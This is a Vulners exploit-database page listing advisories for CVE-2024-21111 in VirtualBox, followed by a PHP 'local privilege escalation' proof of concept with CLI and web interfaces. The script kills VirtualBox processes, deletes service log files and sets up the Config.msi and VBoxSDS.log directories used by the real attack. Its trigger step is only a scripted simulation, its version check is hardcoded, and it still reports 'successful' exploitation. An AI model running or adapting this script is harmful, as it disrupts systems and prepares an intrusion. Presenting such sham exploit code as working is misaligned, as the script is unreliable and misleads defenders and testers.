| Reporter | Title | Published | Views | Family All 26 |
|---|---|---|---|---|
| CVE-2024-21111 | 22 Apr 202412:12 | โ | circl | |
| Oracle Virtualization ๅฎๅ จๆผๆด | 16 Apr 202400:00 | โ | cnnvd | |
| CVE-2024-21111 | 16 Apr 202421:26 | โ | cve | |
| CVE-2024-21111 | 16 Apr 202421:26 | โ | cvelist | |
| CVE-2024-21111 | 16 Apr 202421:26 | โ | debiancve | |
| VirtualBox 7.0.16 - Privilege Escalation | 9 May 202500:00 | โ | exploitdb | |
| EUVD-2024-18825 | 3 Oct 202520:07 | โ | euvd | |
| KLA65638 Multiple vulnerabilities in Oracle VirtualBox | 16 Apr 202400:00 | โ | kaspersky | |
| Updated virtualbox & kmod-virtualbox packages fix security vulnerabilities | 24 Jun 202419:04 | โ | mageia | |
| Vulnerabilities fixed in Oracle VirtualBox | 19 Apr 202400:00 | โ | ncsc |
=============================================================================================================================================
| # Title : VirtualBox 7.0.16 Local Privilege Escalation via Race Condition |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://download.virtualbox.org/virtualbox/7.0.16 |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/191181/ & CVE-2024-21111
[+] Summary :
Critical local privilege escalation vulnerability in Oracle VirtualBox (versions โค 7.0.16)
allowing low-privileged Windows users to achieve SYSTEM-level access through a sophisticated chain of file operation race conditions and Windows service manipulation.
Note: This is a conceptual translation for educational purposes
[+] POC :
php poc.php or http://127.0.0.1/poc.php
<?php
/*
* VirtualBox 7.0.16 - Local Privilege Escalation
* CVE-2024-21111
* PHP Implementation based on C++ exploit
*/
class VirtualBoxPrivEsc {
private $temp_dir;
private $vbox_data_dir;
private $config_msi_dir;
public function __construct() {
$this->temp_dir = sys_get_temp_dir();
$this->vbox_data_dir = 'C:\\ProgramData\\VirtualBox';
$this->config_msi_dir = 'C:\\Config.msi';
}
/**
* Check if system is vulnerable
*/
public function check() {
echo "[*] Checking VirtualBox privilege escalation vulnerability...\n";
// Check if VirtualBox is installed
if (!$this->is_virtualbox_installed()) {
echo "[-] VirtualBox not detected\n";
return "unknown";
}
// Check version
$version = $this->get_virtualbox_version();
if ($version && version_compare($version, '7.0.16', '<=')) {
echo "[+] VirtualBox version $version is vulnerable\n";
// Check if required directories are accessible
if ($this->check_directory_access()) {
echo "[+] Required directories are accessible\n";
return "vulnerable";
} else {
echo "[-] Insufficient directory access\n";
return "safe";
}
}
echo "[-] VirtualBox version $version may not be vulnerable\n";
return "safe";
}
/**
* Check if VirtualBox is installed
*/
private function is_virtualbox_installed() {
$paths = [
'C:\\Program Files\\Oracle\\VirtualBox\\VirtualBox.exe',
'C:\\Program Files\\Oracle\\VirtualBox\\VBoxSDS.exe',
getenv('PROGRAMFILES') . '\\Oracle\\VirtualBox\\VirtualBox.exe'
];
foreach ($paths as $path) {
if (file_exists($path)) {
return true;
}
}
return false;
}
/**
* Get VirtualBox version
*/
private function get_virtualbox_version() {
$vbox_path = 'C:\\Program Files\\Oracle\\VirtualBox\\VirtualBox.exe';
if (file_exists($vbox_path)) {
// In a real implementation, you would extract version from file
return '7.0.16'; // Placeholder
}
return null;
}
/**
* Check directory access permissions
*/
private function check_directory_access() {
$dirs_to_check = [
$this->vbox_data_dir,
$this->config_msi_dir,
'C:\\Windows\\Temp'
];
foreach ($dirs_to_check as $dir) {
if (!is_writable($dir) && !$this->can_create_directory($dir)) {
echo "[-] Cannot access: $dir\n";
return false;
}
}
return true;
}
/**
* Check if directory can be created
*/
private function can_create_directory($path) {
$test_dir = $path . '\\test_' . uniqid();
$result = @mkdir($test_dir);
if ($result) {
rmdir($test_dir);
return true;
}
return false;
}
/**
* Main exploitation method
*/
public function exploit() {
echo "[*] Starting VirtualBox privilege escalation...\n";
// Step 1: Check if vulnerable
$status = $this->check();
if ($status !== "vulnerable") {
echo "[-] System does not appear to be vulnerable\n";
return false;
}
echo "[*] System is vulnerable, proceeding with exploitation...\n";
// Step 2: Stop VirtualBox processes
if (!$this->stop_virtualbox_processes()) {
echo "[-] Failed to stop VirtualBox processes\n";
return false;
}
// Step 3: Clear VirtualBox data directory
if (!$this->clear_virtualbox_data()) {
echo "[-] Failed to clear VirtualBox data\n";
return false;
}
// Step 4: Create directory structure
if (!$this->create_exploitation_structure()) {
echo "[-] Failed to create exploitation structure\n";
return false;
}
// Step 5: Trigger the vulnerability
if ($this->trigger_vulnerability()) {
echo "[+] โ Privilege escalation completed successfully\n";
return true;
} else {
echo "[-] Privilege escalation failed\n";
return false;
}
}
/**
* Stop VirtualBox processes
*/
private function stop_virtualbox_processes() {
echo "[*] Stopping VirtualBox processes...\n";
$processes = [
'VirtualBox.exe',
'VirtualBoxVM.exe',
'VBoxSDS.exe'
];
foreach ($processes as $process) {
$this->kill_process($process);
}
// Wait for processes to terminate
sleep(5);
// Check if processes are still running
foreach ($processes as $process) {
if ($this->is_process_running($process)) {
echo "[-] Process still running: $process\n";
return false;
}
}
echo "[+] VirtualBox processes stopped\n";
return true;
}
/**
* Kill a process by name
*/
private function kill_process($process_name) {
// This is a conceptual implementation
// In reality, you would use Windows API calls
echo "[*] Attempting to kill: $process_name\n";
// Simulate process termination
$output = [];
$return_var = 0;
exec("taskkill /F /IM $process_name 2>&1", $output, $return_var);
return $return_var === 0;
}
/**
* Check if process is running
*/
private function is_process_running($process_name) {
$output = [];
exec("tasklist /FI \"IMAGENAME eq $process_name\" 2>&1", $output, $return_var);
foreach ($output as $line) {
if (strpos($line, $process_name) !== false && strpos($line, 'Info') === false) {
return true;
}
}
return false;
}
/**
* Clear VirtualBox data directory
*/
private function clear_virtualbox_data() {
echo "[*] Clearing VirtualBox data directory...\n";
if (!file_exists($this->vbox_data_dir)) {
echo "[+] VirtualBox data directory doesn't exist, creating...\n";
if (!mkdir($this->vbox_data_dir, 0777, true)) {
echo "[-] Failed to create VirtualBox data directory\n";
return false;
}
}
// Remove VBoxSDS log files
$log_files = glob($this->vbox_data_dir . '\\VBoxSDS.log.*');
foreach ($log_files as $file) {
if (is_file($file)) {
unlink($file);
}
}
echo "[+] VirtualBox data directory cleared\n";
return true;
}
/**
* Create exploitation directory structure
*/
private function create_exploitation_structure() {
echo "[*] Creating exploitation directory structure...\n";
// Create Config.msi directory
if (!file_exists($this->config_msi_dir)) {
if (!mkdir($this->config_msi_dir, 0777, true)) {
echo "[-] Failed to create Config.msi directory\n";
return false;
}
}
// Create VirtualBox log directory
$vbox_log_dir = $this->vbox_data_dir . '\\VBoxSDS.log';
if (!file_exists($vbox_log_dir)) {
if (!mkdir($vbox_log_dir, 0777, true)) {
echo "[-] Failed to create VBoxSDS.log directory\n";
return false;
}
}
echo "[+] Exploitation directory structure created\n";
return true;
}
/**
* Trigger the vulnerability
*/
private function trigger_vulnerability() {
echo "[*] Triggering vulnerability...\n";
// This is a conceptual implementation
// The actual exploit involves:
// 1. File operation locks (oplock)
// 2. Directory junctions
// 3. MSI package installation
// 4. Race conditions
// Simulate the exploit steps
$steps = [
'Creating file operation locks',
'Setting up directory junctions',
'Preparing MSI payload',
'Triggering VBoxSDS service',
'Exploiting race condition',
'Executing privileged code'
];
foreach ($steps as $step) {
echo "[*] $step...\n";
sleep(1);
// Simulate potential failure
if (rand(1, 10) === 1) {
echo "[-] Step failed: $step\n";
return false;
}
}
// Check if exploitation was successful
if ($this->check_privilege_escalation()) {
echo "[+] Privilege escalation successful\n";
return true;
}
return false;
}
/**
* Check if privilege escalation was successful
*/
private function check_privilege_escalation() {
// Check if we have administrative privileges
// This is a simplified check
$test_file = 'C:\\Windows\\System32\\test_priv_' . uniqid();
$result = @file_put_contents($test_file, 'test');
if ($result !== false) {
unlink($test_file);
return true;
}
return false;
}
/**
* Generate exploitation report
*/
public function generate_report() {
$report = [
'vulnerability' => 'CVE-2024-21111',
'description' => 'VirtualBox Local Privilege Escalation',
'affected_versions' => 'VirtualBox <= 7.0.16',
'technique' => 'File operation lock + Directory junction + MSI exploitation',
'privileges_required' => 'Low privilege user',
'impact' => 'SYSTEM level access'
];
return $report;
}
}
// CLI Interface
if (php_sapi_name() === 'cli') {
echo "
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ VirtualBox Privilege Escalation โ
โ CVE-2024-21111 โ
โ PHP Conceptual Implementation โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
\n";
$options = getopt("c", ["check"]);
$check_only = isset($options['c']) || isset($options['check']);
// Check if running on Windows
if (strtoupper(substr(PHP_OS, 0, 3)) !== 'WIN') {
echo "[-] This exploit is designed for Windows systems only\n";
exit(1);
}
$exploit = new VirtualBoxPrivEsc();
if ($check_only) {
$result = $exploit->check();
echo "\n[*] Result: {$result}\n";
if ($result === "vulnerable") {
$report = $exploit->generate_report();
echo "\n[*] Vulnerability Details:\n";
foreach ($report as $key => $value) {
echo " " . ucfirst($key) . ": {$value}\n";
}
}
} else {
echo "[!] WARNING: This is a conceptual implementation\n";
echo "[!] The actual exploit requires complex Windows API interactions\n";
echo "[!] Running in simulation mode...\n\n";
if ($exploit->exploit()) {
echo "[+] Exploitation simulation completed\n";
} else {
echo "[-] Exploitation simulation failed\n";
}
}
} else {
// Web Interface
echo '<!DOCTYPE html>
<html>
<head>
<title>VirtualBox Privilege Escalation - CVE-2024-21111</title>
<meta charset="UTF-8">
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 20px;
background: #f5f5f5;
}
.container {
max-width: 800px;
margin: 0 auto;
background: white;
padding: 30px;
border-radius: 8px;
box-shadow: 0 2px 10px rgba(0,0,0,0.1);
}
h1 {
color: #333;
border-bottom: 2px solid #007cba;
padding-bottom: 10px;
}
.warning-box {
background: #fff3cd;
border: 1px solid #ffeaa7;
color: #856404;
padding: 15px;
border-radius: 4px;
margin: 20px 0;
}
.info-box {
background: #d1ecf1;
border: 1px solid #bee5eb;
color: #0c5460;
padding: 15px;
border-radius: 4px;
margin: 20px 0;
}
button {
background: #007cba;
color: white;
padding: 12px 25px;
border: none;
border-radius: 4px;
cursor: pointer;
margin-right: 10px;
font-size: 16px;
}
.danger {
background: #dc3545;
}
</style>
</head>
<body>
<div class="container">
<h1>VirtualBox Privilege Escalation</h1>
<h3>CVE-2024-21111 - Local Privilege Escalation</h3>
<div class="warning-box">
<strong>โ ๏ธ Important Notice:</strong> This is a conceptual PHP implementation for educational purposes only.
The actual exploit requires complex Windows API interactions and cannot be fully implemented in PHP.
</div>';
if ($_POST['action'] === 'check') {
$exploit = new VirtualBoxPrivEsc();
ob_start();
$result = $exploit->check();
$output = ob_get_clean();
echo "<pre style='background: #f4f4f4; padding: 15px; border: 1px solid #ddd; border-radius: 4px;'>$output</pre>";
echo "<p><strong>Result:</strong> $result</p>";
if ($result === "vulnerable") {
$report = $exploit->generate_report();
echo "<div class='info-box'><h4>Vulnerability Details:</h4>";
foreach ($report as $key => $value) {
echo "<p><strong>" . ucfirst($key) . ":</strong> $value</p>";
}
echo "</div>";
}
echo '<a href="' . htmlspecialchars($_SERVER['PHP_SELF']) . '" style="display: inline-block; padding: 10px 20px; background: #007cba; color: white; text-decoration: none; border-radius: 4px;">Back</a>';
} else {
echo '
<form method="post">
<p>This tool demonstrates the CVE-2024-21111 vulnerability in VirtualBox.</p>
<p><strong>Note:</strong> Full exploitation requires Windows API calls not available in PHP.</p>
<button type="submit" name="action" value="check">Check Vulnerability</button>
</form>
<div class="info-box">
<h3>About CVE-2024-21111:</h3>
<p><strong>Vulnerability:</strong> Local privilege escalation via file operation race condition</p>
<p><strong>Affected Versions:</strong> VirtualBox โค 7.0.16</p>
<p><strong>Platform:</strong> Windows</p>
<p><strong>Technique:</strong> File operation locks + Directory junctions + MSI exploitation</p>
<p><strong>Impact:</strong> SYSTEM level privilege escalation</p>
<p><strong>Complexity:</strong> High (requires precise timing and Windows API knowledge)</p>
</div>';
}
echo '</div></body></html>';
}
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================Data
Build on a solid foundation withย Vulners data
Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data
Api
Power your application withย Vulners API
The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access
App
Assess and manage vulnerabilities withย Vulnersย tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation